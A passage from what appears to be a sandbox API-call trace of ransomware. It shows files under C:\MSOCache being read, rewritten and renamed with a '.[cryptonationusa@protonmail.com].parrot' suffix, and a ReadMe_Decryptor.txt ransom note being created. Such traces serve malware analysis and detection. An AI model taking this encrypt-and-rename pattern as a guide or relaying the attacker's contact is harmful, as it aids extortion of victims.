lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0114.698] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.699] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5b1, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x5b1, lpOverlapped=0x0) returned 1 [0114.699] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0114.699] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0114.699] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0114.699] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0114.699] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0114.699] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d8fd0 [0114.699] GetLastError () returned 0x0 [0114.699] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.699] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4bb0 [0114.699] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0114.699] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0114.699] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4bb0 [0114.699] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0114.699] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0114.699] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0114.699] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4bb0 [0114.700] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0114.700] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606848 [0114.700] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0114.700] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0114.700] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0114.700] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604300 [0114.700] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0114.700] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d448 [0114.700] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604300 | out: hHeap=0x5b0000) returned 1 [0114.700] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0114.700] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d448 | out: hHeap=0x5b0000) returned 1 [0114.700] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5d51f8 [0114.700] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0114.700] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b618 [0114.700] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d51f8 | out: hHeap=0x5b0000) returned 1 [0114.700] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x65f2e0 [0114.700] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b618 | out: hHeap=0x5b0000) returned 1 [0114.700] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x601838 [0114.700] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x65f2e0 | out: hHeap=0x5b0000) returned 1 [0114.700] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x3176070 [0114.700] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x601838 | out: hHeap=0x5b0000) returned 1 [0114.700] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x69c668 [0114.700] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3176070 | out: hHeap=0x5b0000) returned 1 [0114.700] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x60c798 [0114.700] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69c668 | out: hHeap=0x5b0000) returned 1 [0114.700] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x5d2850 [0114.700] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c798 | out: hHeap=0x5b0000) returned 1 [0114.700] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x5d33c8 [0114.700] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2850 | out: hHeap=0x5b0000) returned 1 [0114.700] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x2210048 [0114.700] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0114.700] WriteFile (in: hFile=0x260, lpBuffer=0x2210048*, nNumberOfBytesToWrite=0x6d8, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2210048*, lpNumberOfBytesWritten=0x18eed4*=0x6d8, lpOverlapped=0x0) returned 1 [0114.701] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2210048 | out: hHeap=0x5b0000) returned 1 [0114.701] UnlockFile (hFile=0x260, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x6c9, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0114.701] CloseHandle (hObject=0x260) returned 1 [0114.701] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb0) returned 0x683310 [0114.701] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x106) returned 0x69a668 [0114.701] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x683310 | out: hHeap=0x5b0000) returned 1 [0114.701] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0114.702] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69a668 | out: hHeap=0x5b0000) returned 1 [0114.702] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0114.702] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69e650 | out: hHeap=0x5b0000) returned 1 [0114.702] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x63f228 [0114.702] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc0) returned 0x5cce70 [0114.702] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0114.702] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0114.704] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0114.704] ReadFile (in: hFile=0x260, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0114.706] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.706] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0114.715] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0114.715] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0114.715] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0114.715] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0114.715] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0114.715] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d8fd0 [0114.715] GetLastError () returned 0x0 [0114.743] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.743] WriteFile (in: hFile=0x260, lpBuffer=0x643228*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x643228*, lpNumberOfBytesWritten=0x18eed4*=0x118, lpOverlapped=0x0) returned 1 [0114.744] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.744] WriteFile (in: hFile=0x260, lpBuffer=0x2f10040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2f10040*, lpNumberOfBytesWritten=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0114.747] UnlockFile (hFile=0x260, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1416c6c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0114.747] CloseHandle (hObject=0x260) returned 1 [0114.747] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb0) returned 0x683310 [0114.747] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x106) returned 0x69a668 [0114.747] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x683310 | out: hHeap=0x5b0000) returned 1 [0114.747] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0114.748] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69a668 | out: hHeap=0x5b0000) returned 1 [0114.748] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0114.748] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2f10020 | out: hHeap=0x5b0000) returned 1 [0114.753] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x63f228 [0114.753] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc0) returned 0x5ccf38 [0114.753] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0114.753] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0114.788] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0114.788] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0114.799] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.800] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd8400, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xd8400, lpOverlapped=0x0) returned 1 [0114.807] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0114.808] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0114.808] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0114.808] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0114.808] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0114.808] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d8fd0 [0114.808] GetLastError () returned 0x0 [0114.847] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.847] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4bb0 [0114.847] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0114.847] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0114.847] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4bb0 [0114.847] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0114.847] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0114.847] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0114.847] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4bb0 [0114.847] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0114.847] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0114.848] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0114.848] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606848 [0114.848] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0114.848] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604300 [0114.848] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0114.848] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d448 [0114.848] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604300 | out: hHeap=0x5b0000) returned 1 [0114.848] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0114.848] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d448 | out: hHeap=0x5b0000) returned 1 [0114.848] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5d51f8 [0114.848] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0114.848] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b618 [0114.848] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d51f8 | out: hHeap=0x5b0000) returned 1 [0114.848] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x65f2e0 [0114.848] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b618 | out: hHeap=0x5b0000) returned 1 [0114.848] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x601838 [0114.848] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x65f2e0 | out: hHeap=0x5b0000) returned 1 [0114.848] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x3176070 [0114.848] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x601838 | out: hHeap=0x5b0000) returned 1 [0114.848] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x69c668 [0114.848] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3176070 | out: hHeap=0x5b0000) returned 1 [0114.848] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x60c798 [0114.848] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69c668 | out: hHeap=0x5b0000) returned 1 [0114.848] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x5d2850 [0114.848] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c798 | out: hHeap=0x5b0000) returned 1 [0114.848] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x5d33c8 [0114.848] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2850 | out: hHeap=0x5b0000) returned 1 [0114.848] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x69e650 [0114.848] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0114.848] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x5d8fd0 [0114.848] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69e650 | out: hHeap=0x5b0000) returned 1 [0114.848] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x5cee58 [0114.848] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0114.849] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x639220 [0114.849] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0114.849] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x685240 [0114.849] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x639220 | out: hHeap=0x5b0000) returned 1 [0114.849] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x6881d8 [0114.849] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x685240 | out: hHeap=0x5b0000) returned 1 [0114.850] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6ad1) returned 0x690250 [0114.850] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6881d8 | out: hHeap=0x5b0000) returned 1 [0114.853] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa028) returned 0x647210 [0114.854] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x690250 | out: hHeap=0x5b0000) returned 1 [0114.854] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf02a) returned 0x3160050 [0114.855] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x647210 | out: hHeap=0x5b0000) returned 1 [0114.855] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1682d) returned 0x2210048 [0114.857] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160050 | out: hHeap=0x5b0000) returned 1 [0114.857] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x21c32) returned 0x2226880 [0114.858] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2210048 | out: hHeap=0x5b0000) returned 1 [0114.858] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x32a39) returned 0x3178458 [0114.861] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2226880 | out: hHeap=0x5b0000) returned 1 [0114.862] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4bf44) returned 0x2210048 [0114.863] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3178458 | out: hHeap=0x5b0000) returned 1 [0114.864] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x71ed4) returned 0x225bf98 [0114.868] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2210048 | out: hHeap=0x5b0000) returned 1 [0114.870] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xaae2c) returned 0x3020020 [0114.901] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0114.902] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69a668 | out: hHeap=0x5b0000) returned 1 [0114.902] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0114.902] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2f10020 | out: hHeap=0x5b0000) returned 1 [0114.906] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x63f228 [0114.906] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc0) returned 0x5ccf38 [0114.906] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0114.906] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0114.906] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\ReadMe_Decryptor.txt" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ecc8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x284 [0114.907] GetFileType (hFile=0x284) returned 0x1 [0114.907] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d8fd0 [0114.917] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0114.917] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0114.919] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.919] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5b2, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x5b2, lpOverlapped=0x0) returned 1 [0114.919] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0114.919] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0114.919] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0114.919] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0114.919] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0114.920] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d8fd0 [0114.920] GetLastError () returned 0x0 [0114.920] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.920] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4bb0 [0114.920] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0114.920] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0114.920] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4bb0 [0114.920] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0114.920] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0114.920] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0114.920] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4bb0 [0114.920] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0114.920] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606848 [0114.920] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0114.920] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0114.920] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0114.920] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604300 [0114.920] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0114.920] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d448 [0114.920] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604300 | out: hHeap=0x5b0000) returned 1 [0114.920] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0114.920] HeapFree (in: 